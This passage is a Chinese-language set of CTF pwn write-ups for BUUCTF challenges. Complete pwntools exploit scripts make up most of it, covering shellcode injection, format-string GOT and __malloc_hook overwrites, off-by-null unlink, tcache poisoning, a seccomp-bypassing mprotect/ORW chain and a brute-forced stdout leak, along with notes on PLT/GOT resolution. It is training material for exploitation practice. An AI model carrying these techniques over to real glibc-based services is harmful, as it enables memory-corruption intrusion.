and not re.search(r"\[\w*?\]", res)
and ".byte" not in res
):
print(res)

exit(0)

exp.py

1
2
sl(b"\x00\xc0" + asm(shellcraft.sh()))
it()

lctf2016_pwn200

BUUCTF在线评测

找到溢出点,覆盖为返回地址,然后修改返回地址为shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./pwn200_debug"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if "debug" in elf_path:
libc_path = elf.linker.decode().replace("ld", "./libc")
libc = ELF(libc_path)
if "2.23" in libc_path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc_path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []
else:
libc_path = ""

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 29413
io = remote(remote_ip, remote_port)
else:
if libc_path != "":
io = process(elf_path, env={"LD_PRELOAD": libc_path})
else:
io = process(elf_path)
shellcode = asm(
"xor rdx,rdx;xor rsi,rsi;push rsi;mov rax, 0x68732f2f6e69622f;push rax;mov rdi,rsp;xor rax,rax;mov al,59;syscall"
)
sa(b"u?\n", shellcode.ljust(47, b"a") + b"c")
ru(b"c")
shellcode_addr = u64(ru(b"\x7f").ljust(8, b"\0")) - 0x7FFF450E3CC0 + 0x7FFF450E3C70
ret_addr = shellcode_addr - 0x7FFEEA8F0420 + 0x7FFEEA8F03F8

sa(b"id ~~?\n", b"0000")
free_got = elf.got["free"]
sla(b"money~\n", p64(shellcode_addr) + p64(0) * 6 + p64(ret_addr))
sla(b"choice : ", b"3")
it()

格式化字符串

bss上格式化字符串

ciscn_2019_nw_6

BUUCTF在线评测 (buuoj.cn)

泄露libc,泄露栈地址,然后就可以利用调用链之间的ebp做文章

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def change_stack(stack_addr,dest_addr):
for i in range(4):
sla(b"please input the key:\n",f"%{stack_addr&0xff}c%4$hhn")
sla(b"please input the key:\n",f"%{dest_addr&0xff}c%8$hhn")
stack_addr+=1
dest_addr=dest_addr>>8

sla(b"please input the key:\n",b"%17$p")
libc_base=int(r(10),16)-libc.sym["__libc_start_main"]-241

sla(b"please input the key:\n",b"%4$p")
stack_addr=int(r(10),16)
main_stack_addr=stack_addr+0x14
system_addr=libc_base+libc.sym["system"]
change_stack(main_stack_addr,system_addr)
canshu=main_stack_addr+8
bin_sh_addr=libc_base+next(libc.search(b"/bin/sh\0"))
change_stack(canshu,bin_sh_addr)
sla(b"please input the key:\n",f"%{(main_stack_addr-4)&0xff}c%4$hhn")
sla(b"please input the key:\n",b"hello")
it()

printf触发malloc

cscctf_2019_final_babyprintf

BUUCTF在线评测

这个题目是一个挺不错的题目,也是利用了malloc,但是用one)gaghtet打,因为在libc-2.27对size有了check

1
2
3
4
5
6
7
8
9
sl(b"%2$p")
libc_base = int(rld(), 16) - 0x7FE3B277A8D0 + 0x7FE3B238D000
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
one_gadget_addr = libc_base + one_gadget[1]
payload = fmtstr_payload(8, {malloc_hook_addr: one_gadget_addr})
sl(payload)

sl(f"%{65536}c".encode())
it()

0ctf2017_easiestprintf

BUUCTF在线评测

这个题牛逼,需要看pritnf源码

printf会触发malloc

好题

牛逼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *
import ctypes

# shell = ssh(host="node4.buuoj.cn", user="CTFMan", port=26682, password="guest")
# shell.process
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./EasiestPrintf"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28439
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x804881C
c
"""
gdb.attach(io, gdbscript=gdbscript)

sla(b"read:\n", str(elf.got["puts"]).encode())
libc_base = int(rld(), 16) - libc.sym["puts"]
malloc_hook_addr = libc_base + libc.sym["__malloc_hook"]
sh_addr = 0x0804A001
system_addr = libc_base + libc.sym["system"]
payload = (
fmtstr_payload(7, {malloc_hook_addr: system_addr, sh_addr: b"sh\0"})
+ f"%{0x0804A001-32}c".encode()
)
sla(b"Good Bye\n", payload)
it()

栈上的格式化字符串

watevr_2019_voting_machine_2

比较简单的修改got

1
2
sla(b"Topic: ",b"aa"+fmtstr_payload(8,{elf.got["exit"]:0x8420736},numbwritten=2))
it()

wustctf2020_babyfmt

BUUCTF在线评测

其实题目不算复杂,主要可以通过修改一个类似于计数器的值实现两次printf,然后这个题的关键就是FILE结构

image.png

可以看到这里关闭了IO_stdout,所以需要我们提前把这个的fileno修改一下,就不会关闭

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *
import binascii

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./wustctf2020_babyfmt"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x45216, 0x4526A, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28573
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0xECC)
b *$rebase(0xF43)
c
"""
gdb.attach(io, gdbscript=gdbscript)

# <=4096 无洞
def add(name: bytes, sex: bytes, content: bytes):
sa(b"ption--->>\n", b"1")
sa(b"name\n", name)
sa(b"sex\n", sex)
sa(b"information\n", content)

def edit(index: int, content: bytes):
sa(b"ption--->>\n", b"3")
sa(b"index : \n", str(index).encode())
sa(b"change sex?\n", b"n")
sa(b"information\n", content)

# 没有清空
def free(index: int):
sa(b"ption--->>\n", b"2")
sa(b"index : \n", str(index).encode())

def show(index: int):
sa(b"choice : \n", b"3")
sa(b"index : \n", str(index).encode())

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

sla(b"time:", b"1 2 3")
sla(b">>", b"2")
s(b"%7$n%18$p%3$p")
secret_addr = int(r(14), 16) - 0x55DF49801050 + 0x55DF49A02060
stdout_fileno = int(r(14), 16) - 0x7F5DA2FED260 + 0x7F5DA32BB690

sla(b">>", b"2")
payload = b"%2c%10$n%11$s".ljust(0x10, b"a") + p64(stdout_fileno) + p64(secret_addr)
s(payload)
r(2)
secret = r(0x40)
sla(b">>", b"3")
sla(b"door!\n", secret)
# ru(b"\x55")
# print(r(0x40))
it()

bbctf_2020_fmt_me

BUUCTF在线评测

这个题目用的snprintf,其实和printf一样,参数位置也都是从栈上来的,只不过后把结果输出到目标 buff,并不影响

这个题目关键也是劫持控制流,由于system的参数是readonly,所以也不好修改,只能把system_got改成main函数,那么第二次把atoi改成system_plt+6,如果还是改成system_got那么就会回到main,而system_plt+6会重新解析地址,不会受现有的got干扰

1
2
3
4
5
6
7
8
9
10
11
12
sla(b"Choice: ", b"2")
atoi_got = elf.got["atoi"]
system_plt = elf.plt["system"] + 6
system_got = elf.got["system"]
main_addr = elf.sym["main"]
offset = 6
sa(
b"ou a gift.\n",
fmtstr_payload(offset, {system_got: main_addr, atoi_got: system_plt}),
)
sl(b"/bin/sh\0")
it()

这个题目本来说来难度不大,但当时有点脑残了,导致进入了误区,同时snprintf在pwn里面也不常见,我搜出来的都是php的,所以就想分享一下

报错

有时候%9$n报错的原因要看看到底能不能写,最开始我想写rodata但一致报错,忘记不可以写了

snprintf

snprintf,sprintf,printf,这些其实大同小异,n就是多了一个长度的限制,你只能有n个长度的fomrat_string,s的区别可以理解成他把printf的结果从stdout重定向到了指定的buf里面,但是printf的效果和对应的offset还是一摸一样的

%1$p

rcx的值
image.png
image.png
我们之前printf的时候是字符串,所以在buff里面也是以字符串形式保存的,而不是直接保存对应的hex值

%2$p

R8的值
image.png
image.png

%3$p

%4$p

调用之前栈上的第一个值
image.png
image.png

%5$p

调用之前栈上的第二个值
image.png
image.png

got,plt表原理

这两个是ctf里面比较常用的结构 这是plt本身的样子,我们可以利用右键unhide
image.png
image.png
注意这里有这样的结构,plt本身是一个jmp指令,跳转的位置就是我们的got表里面保存的地址,这个地址会在第一次访问的时候被修改成对应的libc地址
image.png
+6偏移的是一个push num,num代表这个函数在plt的序号,以及另一个跳转
image.png
这个时候看起来是0,我们看看具体是怎么回事
image.png

测试代码

image.png
我们就用题目的system来测试
image.png
rdi为对应的参数地址,可以看到它call的是system@plt 这个时候先push一个返回地址,然后跳转到system@plt.然后跳转到system@got.plt对应的地址
image.png
这个时候因为是第一次调用,可以看到system@got的地址是我们system@plt下一条指令也就是+6位置的值,那么我们就相当于从call system->system@plt->system@plt+6
image.png
这里的2就是我们对应的编号,然后jmp过去,可以看到push了一个地址,这个地址之后可以用来计算got的地址,进而填写
image.png
这里jmp的地址就是我们上图看到的第二个0,这个在运行之前会被填写成_dl_runtime_resolve_xsavec的地址
image.png
中间会调用_dl_fixup,传入的第一个参数是got里面第一个0运行后填写的值,我也不太知道这个值有什么用,第二个就是编号
image.png
这个函数会把对应got的值修改并返回对应的的地址
image.png
image.png
最最后,我们会跳转到真正要执行的函数去完成功能
image.png
我们可以看到,plt+6处的指令其实也可以有相对应的功能,只不过就是过程复杂一点,这个可以用在当got表被污染的时候,我们通过plt去执行不了,但是可以通过plt+6来执行,这个原理可以用在这个题目

off by null

asis2016_b00ks

这个题目漏洞还行,一个off by null,可以修改bss的堆地址,但是这个题目free不太好free edit也不太好edit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#!/usr/bin/python3
# -*- coding: utf-8 -*-
from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)


elf_path = "./b00ks"
lib_path=""
#lib_path="/home/zhou/glibc-all-in-one/libs/2.27-3ubuntu1_amd64"
parm=elf_path
#parm=[elf_path,"127.0.0.1","3339"]
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
if lib_path:
libc = ELF(f"{lib_path}/libc.so.6")
else:
libc=elf.libc



if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 28190
io = remote(remote_ip, remote_port)
else:
if lib_path:
io = process(parm,env= {'LD_LIBRARY_PATH': lib_path})
else:
io = process(parm)



def debug():
global io
gdbscript = """
b
c
x/20xg $rebase(0x202010)
"""
gdb.attach(io, gdbscript=gdbscript)



def debug_force():
global io
io.close()
gdbscript = """
b *$rebase(0xF2B)
c
"""
if lib_path:
io=gdb.debug(parm,env= {'LD_LIBRARY_PATH': lib_path}, gdbscript=gdbscript)
else:
io=gdb.debug(parm, gdbscript=gdbscript)

#0x1000
def add(size,name,size2,des):
sla(b"> ",b"1")
sla(b"Enter book name size: ",str(size))
sla(b"Enter book name (Max 32 chars): ",name)
sla(b"\nEnter book description size: ",str(size2))
sla(b"Enter book description:",des)

def free(idx):
sla(b"> ",b"2")
sla(b"Enter the book id you want to delete: ",str(idx))


def show():
sla(b"> ",b"4")


def edit(idx,content):
sla(b"> ",b"3")
sla(b"Enter the book id you want to edit: ",str(idx))
sa(b"Enter new book description: ",content)

def changeName(name):
sla(b"> ",b'5')
sla(b"Enter author name: ",name)
# def rol(val,k):
# s=bin(val)[2:]
# return int(s[k:]+s[:k],2)
# def ror(val,k):
# s=bin(val)[2:]
# return int(s[-k:]+s[:len(s)-k],2)
# def convert_str_asmencode(content: str):
# out = ""
# for i in content:
# out = hex(ord(i))[2:] + out
# out = "0x" + out
# return out

#debug_force()
sla(b"Enter author name: ",b"a"*32)
add(0x18,b"1",0x18,b"1")
add(0x68,b"2",0x88,b"2")
add(0x18,b"3",0x18,b"3")
add(0x18,b"/bin/sh\0",0x18,b"/bin/sh\0")
add(0x58,b"5",0x58,b"5")
free(1)
free(3)
free(2)
add(0x18,b"0",0x18,b"1")
add(0x88,p64(1)+p64(0),0x18,b"c")
changeName(b"a"*32)
free(1)
show()
ru(b"Name: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))+0x7fb41b04c000-0x7fb41b410b78
free(5)
add(0x18,b"0",0x18,b"0")
add(0x58,p64(1)+p64(0)+p64(libc_base+libc.sym["__free_hook"])+p64(0x18),0x18,b"0")
changeName(b"a"*32)
edit(1,p64(libc_base+libc.sym["system"])+b"\n")
free(4)

it()

沙盒

ycb_2020_easy_heap

BUUCTF在线评测 (buuoj.cn)

这个题目算是很复杂的了,其实整体不复杂,有一个很明显的off by null,unlink构造堆块重叠,但是我们由于题目版本过高,2.30,多了很多check,并且还是沙盒,所以很麻烦

image.png

可以看到check了prevsize和chunksize,所以一般的off by null伪造prevsize都会失败,所以我们这里自己在堆上构造一个ptr伪造unlink

泄露libc 和堆地址

image.png

首先利用off by null修改prev size和pre_inuse,然后由于我们后free的第三块,所以在第三块里伪造了第一块的堆地址,就是fake ptr,然后后面add的第三块其实是原来的第一个块,然后伪造fd bk,这里4是为了把没有用完的unsorted bin用完,保证unosrted bin为空,不然报错

image.png

这个时候可以unlink,因为我们伪造了size

这个时候伪造堆块重叠,因为第五这里

image.png

libc-2.30 tcache不可以double free因为他会遍历整个free bins

image.png

同时不能分配成负数,libc2.23可以分配成负数

image.png

所以我们只能free两个,然后利用还有的指针修改fd

由于开了沙盒,所以要用setcontext
这里setcontext也变复杂了,用的是rdx,所以我们要先把rdx修改然后再来setcontext,但整体srop没有变

image.png

很牛逼的gadget,其中rdx就是[rdi]+8,function[rdx+0x20]

1
mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 0x0000000000154b90
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
heap_start_addr=heap_addr+0x50#srop mem的地址
rop_start_addr=0xb0+heap_start_addr#就是我们srop头结束的位置,也就是fake stack加shellcode
payload=p64(0)+p64(heap_start_addr)+p64(0)*2+p64(libc_base+libc.sym["setcontext"]+61)#一个是rdx,一个是function
payload=payload.ljust(0x68,b"\0")
payload=payload+p64(rop_start_addr&0xfffffffffffff000)+p64(0x1000)+p64(0)*2+p64(7)+p64(0)*2+p64(rop_start_addr+8)+p64(libc_base+libc.sym["mprotect"])#这里没变
shellcode=f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
payload+=p64(0)+p64(rop_start_addr+0x10)+asm(shellcode)
add(len(payload))#6
edit(6,payload)

最后就是淦

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./ycb_2020_easy_heap"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =29270
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *$rebase(0x1730)
c
x/10xw $rebase(0x4060)
x/10xg $rebase(0x4460)
"""
gdb.attach(io, gdbscript=gdbscript)
sleep(1)

def add(size):
sla(b"Choice:", b"1")
sla(b"Size: ",str(size))

def free(index):
sla(b"Choice:", b"3")
sla(b"Index: ",str(index))

def show(index):
sla(b"Choice:", b"4")
sla(b"Index: ",str(index))

def edit(index,content):
sla(b"Choice:", b"2")
sla(b"Index: ",str(index))
sa(b"Content: \n",content)


def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

add(0x418)#0
add(0x18)#1
add(0x4f8)#2
add(0x28)#3
free(0)
add(0x28)#0
show(0)
ru(b"Content: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7f82d01d4fd0+0x7f82cffea000
free(0)
free(3)
add(0x28)#0
show(0)
ru(b"Content: ")
heap_addr=u64(rud(b"[").ljust(8,b"\0"))

edit(1,b"a"*0x10+p64(0x430))
edit(0,p64(heap_addr))
add(0x28)#3
ptr_addr=heap_addr+0x940
edit(3,p64(0)+p64(0x431)+p64(ptr_addr-0x18)+p64(ptr_addr-0x10))
add(0x3e8)#4
free(2)

add(0x18)#2
add(0x18)#5
free(2)
free(4)
edit(5,p64(libc_base+libc.sym["__free_hook"]))
add(0x18)#2
add(0x18)#4

#mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20] 0x0000000000154b90

edit(4,p64(libc_base+0x0000000000154b90))

heap_start_addr=heap_addr+0x50
rop_start_addr=0xb0+heap_start_addr
payload=p64(0)+p64(heap_start_addr)+p64(0)*2+p64(libc_base+libc.sym["setcontext"]+61)
payload=payload.ljust(0x68,b"\0")
payload=payload+p64(rop_start_addr&0xfffffffffffff000)+p64(0x1000)+p64(0)*2+p64(7)+p64(0)*2+p64(rop_start_addr+8)+p64(libc_base+libc.sym["mprotect"])
shellcode=f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
payload+=p64(0)+p64(rop_start_addr+0x10)+asm(shellcode)
add(len(payload))#6
edit(6,payload)

free(6)
it()

堆溢出

others_pwn1

BUUCTF在线评测 (buuoj.cn)

一个傻逼题,直接溢出修改指针

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./pwn1"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port =27903
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)

def debug():
gdbscript = """
b *0x400C22
c
x/10xg 0x602060
"""
gdb.attach(io, gdbscript=gdbscript)
sleep(1)

#name有一处
def add(name,content):
sla(b">> ", b"1")
sa(b"Please give me the book's name :\n",name)
sa(b"Please input the description about the book:\n",content)
sla(b"How many book you want to take?\n",b"1")

def free(index):
sla(b">> ", b"4")
sla(b"Which book you want to delete?\n",str(index))

def show():
sla(b">> ", b"2")

def edit(index,content):
sla(b">> ", b"3")
sla(b"Which book you want to edit?\n",str(index))
sa(b"Please give me the book's name :\n",content)
sla(b"Do you want to change the description?(y/n)",b"n")
sla(b"How many book you want to take?",b"1")

add(b"a",b"b"*0x80)
edit(0,b"a"*0x48+p64(elf.got["puts"]))
show()
ru(b"description: ")
libc_base=u64(ru(b"\x7f").ljust(8,b"\0"))-0x7fcd58e6a690+0x7fcd58dfb000
sla(b">> ", b"3")
sla(b"Which book you want to edit?\n",b"0")
sa(b"Please give me the book's name :\n",b"/bin/sh\0".ljust(0x48,b"a")+p64(libc_base+libc.sym["__free_hook"]))
sla(b"Do you want to change the description?(y/n)",b"y")
sa(b"Please input the description about the book:\n",p64(libc_base+libc.sym["system"]))
sla(b"How many book you want to take?",b"1")
free(0)
it()

realloc

roarctf_2019_realloc_magic

https://buuoj.cn/challenges#roarctf_2019_realloc_magic

挺好的题目,出题也很高端,从realloc的机制以及IO attack,都很好

free不清空,可以double free

image.png

realloc分配

image.png

用来清空一次ptr,不然realloc打IO之后打不了

image.png

realloc用到的几种情况

  • ptr≠NULL,size=0,相当于free
  • ptr==NULL,size≠NULL,相当于malloc
  • ptr≠NULL,size>,会尝试合并后面的,如果后面是top chunk就直接切割top chunk调整大小,如果后面的是free状态就会unlink,(所以要打unsorted bin)
1
2
3
4
5
6
add(0x18,b"a")
add(0,b"")
add(0x88,b"a")
add(0,b"")
add(0x28,b"a")
add(0,b"")

最后0x28是防止top chunk和unsorted bin合并,必须要用add 0,因为这样才可以让ptr==NULL,然后调用malloc

1
2
3
4
5
6
7
8
9
10
11
add(0x18,b"a")
add(0,b"")
add(0x88,b"a")
add(0,b"")
add(0x28,b"a")
add(0,b"")

add(0x88,b"a")
for i in range(7):
free()
add(0,b"")

重新拿到0x88,然后free 7次,再利用realloc free掉进入unsorted bin同时ptr==NULL

1
2
3
4
5
add(0x18,b"a")#拿到0x18的块,如果pt!=NULL拿不到
add(0xa8,p64(0)*3+p64(0x21)+p16(0xa760))#利用realloc合并的性质,和我们的unsorted bin合并掉,同时tcahce posiont,伪造size,同时把fd修改为_IO_2_1_stdout_的地址,这里需要爆破
add(0,b"")#ptr变成空
add(0x88,b"a")#这个时候由于0x88里面有两个堆,先要malloc一个出来
add(0,b"")#这个时候free由于size伪造就不会进入0x88,我们就可以malloc到IO那里取

tcache position的原因就是在malloc取tcahe的时候,不会再一次校验tcache的大小,只会看看里面是不是有bins

1
2
3
fake_stdout=p64(0x00000000fbad3887)+p64(0)*3+p8(0x58)
add(0x88,fake_stdout)#这个时候就直接修改了stdout
这里面需要注意的几个地方

puts会调用_IO_sputn

image.png

基本的flag不需要改动,都会正常判断

image.png

由于我们puts的时候输出缓冲区是满的,所以也不需要修改

image.png

其实修不修改也无所谓,关键就是要进入到_IO_overfollow,因为当输出缓冲区有空间的时候,我们就直接把内容copy到输出缓冲区,然后再刷新io,如果没有空间,就可能要分配空间或者刷新,我们要利用的就是刷新缓冲区

进入overfollow,里面会调用do_wrtie,所以我们要伪造write_base,并且要小于ptr,一般就是修改最后一位,找到更小的地方并且可以泄露libc的,其实很多,因为std结构都在附近,我们这里选用stdeer的jmp table

image.png

new_do_write,这里比较关键,由于我们要修改write_base必须要2覆盖掉IO_read_end,所以一旦进入else if就挂了,我们必须要进入if,所以就要有0x1000,所以我加上了0x1000,跟原来的IO比较,然后就可以write进行输出了

image.png

当有 libc地址了,需要把ptr置为0,不然我们无法开启新的一轮操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
add(0x38,b"a")
add(0,b"")
add(0x98,b"a")
add(0,b"")
add(0x48,b"a")
add(0,b"")

add(0x98,b"a")
for i in range(7):
free()
add(0,b"")

add(0x38,b"a")
add(0xd8,p64(0)*7+p64(0x41)+p64(libc_base+libc.sym["__free_hook"]-0x8))
add(0,b"")
add(0x98,b"a")
add(0,b"")
add(0x98,b"/bin/sh\0"+p64(libc_base+libc.sym["system"]))
free()

其实后面差不多,基本一模一样了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92

from pwn import *

it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)

elf_path = "./roarctf_2019_realloc_magic"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc

if "2.23" in libc.path:
one_gadget = [0x4526A, 0x45216, 0xF02A4, 0xF1147]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []

def debug():
gdbscript = """
b *$rebase(0xA2A)
c
x/xg $rebase(0x202058)
"""
gdb.attach(io, gdbscript=gdbscript)

def add(size,content):
sla(b">> ", b"1")
sla(b"Size?\n",str(size))
sa(b"Content?\n",content)

def free():
sla(b">> ", b"2")

while True:
remote_ip = "node4.buuoj.cn"
remote_port =27573
io = remote(remote_ip, remote_port)
add(0x18,b"a")
add(0,b"")
add(0x88,b"a")
add(0,b"")
add(0x28,b"a")
add(0,b"")

add(0x88,b"a")
for i in range(7):
free()
add(0,b"")

add(0x18,b"a")
add(0xa8,p64(0)*3+p64(0x21)+p16(0xa760))
add(0,b"")
add(0x88,b"a")
add(0,b"")

fake_stdout=p64(0x00000000fbad3887)+p64(0)*3+p8(0x58)
add(0x88,fake_stdout)
content=io.recvuntil(b"\x7f",timeout=2)
if content==b"":
io.close()
continue
libc_base=u64(content.ljust(8,b"\0"))-libc.sym["_IO_file_jumps"]
sla(b">> ", b"666")

add(0x38,b"a")
add(0,b"")
add(0x98,b"a")
add(0,b"")
add(0x48,b"a")
add(0,b"")

add(0x98,b"a")
for i in range(7):
free()
add(0,b"")
add(0x38,b"a")
add(0xd8,p64(0)*7+p64(0x41)+p64(libc_base+libc.sym["__free_hook"]-0x8))
add(0,b"")
add(0x98,b"a")
add(0,b"")
add(0x98,b"/bin/sh\0"+p64(libc_base+libc.sym["system"]))
free()
it()

这里可以看出来,利用stdout泄露很简单,puts就可以利用,然后我们只需要把write_base修改一下,然后flag加上0x1000就好,十分的轻松

house of force

  • 题目中没有给free之类的接口
  • 可以修改top chunk的size
  • 可以分配较大的size如-0x30

其实house of force和house of orange两种大概的条件差不多,都需要伪造一个top chunk的size,但是house of force尽量要伪造的很大如-1,然后保证我就算malloc(-0x40)也可以分配,这个达到的效果就是top chunk的整体迁移,如果我们迁移到bss上去了,后面再malloc之后就可以改掉对应的堆指针

但是house of orange要尽量的伪造小,进入sysmalloc里面free掉top chunk,这样就多了一个unsorted bin,后面的利用就参考unsorted bin打法

bcloud_bctf_2016

BUUCTF在线评测 (buuoj.cn)

这个题绝了,其实主函数没有漏洞,add edit free都十分完美,但漏洞居然是出在init里面,是我没有分析周全

image.png

